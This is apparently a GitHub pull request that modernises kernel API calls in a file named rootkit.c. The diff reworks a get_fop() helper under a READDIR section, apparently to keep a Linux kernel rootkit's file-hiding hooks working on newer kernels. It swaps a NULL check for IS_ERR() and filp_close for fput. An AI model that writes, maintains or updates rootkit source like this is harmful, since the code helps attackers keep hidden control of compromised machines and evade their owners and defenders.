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Kernel API Modernization: Refactor Deprecated File Operations. #6

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Kernel API Modernization: Refactor Deprecated File Operations. #6

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11 changes: 7 additions & 4 deletions rootkit.c
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Original file line number Diff line number Diff line change
Expand Up @@ -636,17 +636,20 @@ void unprotect(void)

// ========== READDIR ==========


struct file_operations *get_fop(const char *path)
{
struct file *file;
struct file_operations *ret = NULL;

if ((file = filp_open(path, O_RDONLY, 0)) == NULL) {
file = filp_open(path, O_RDONLY, 0);
if (IS_ERR(file)) {
return NULL;
}

struct file_operations *ret = (struct file_operations *) file->f_op;
filp_close(file, 0);
ret = (struct file_operations *) file->f_op;

// Used fput instead of filp_close.
fput(file);

return ret;
}
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